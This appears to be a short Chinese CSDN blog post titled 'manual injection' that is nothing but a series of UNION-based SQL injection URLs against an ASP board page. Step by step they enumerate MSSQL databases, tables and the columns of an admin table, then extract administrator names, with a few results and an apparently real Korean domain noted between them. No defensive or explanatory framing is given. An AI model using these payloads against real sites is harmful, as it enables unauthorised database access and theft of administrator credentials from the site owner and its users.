手工注入

最新推荐文章于 2024-08-20 19:52:41 发布

weixin_33881050

最新推荐文章于 2024-08-20 19:52:41 发布

阅读量63

点赞数

本文链接：https://blog.csdn.net/weixin_33881050/article/details/85080343

版权

http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from master.dbo.sysdatabases where dbid=7)
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from newsdevdb.dbo.sysobjects where xtype='U')
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from newsdevdb.dbo.sysobjects where xtype='U' and name not in ('TB_BOARD_FILES_002','access','ammrt_','D99_Tmp','dtproperties'))
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,id,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from newsdevdb.dbo.sysobjects where xtype='U' and name = 'TB_ADMIN')
1061578820
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from dbo.syscolumns where id = 1061578820)
CREATE_DATE
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,name,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from dbo.syscolumns where id = 1061578820 and name not in ('CREATE_DATE','CREATE_NAME','ID'))
http://www.zzzz/community/board_list.asp?code=005&id=13 and 1=2 union all (select top 1 1,2,3,4,CREATE_NAME,6,7,null,null,null,null,null,null,null,null,null,null,null,null,null from newsdevdb.dbo.TB_ADMIN where ID > 0)
gnynews.co.kr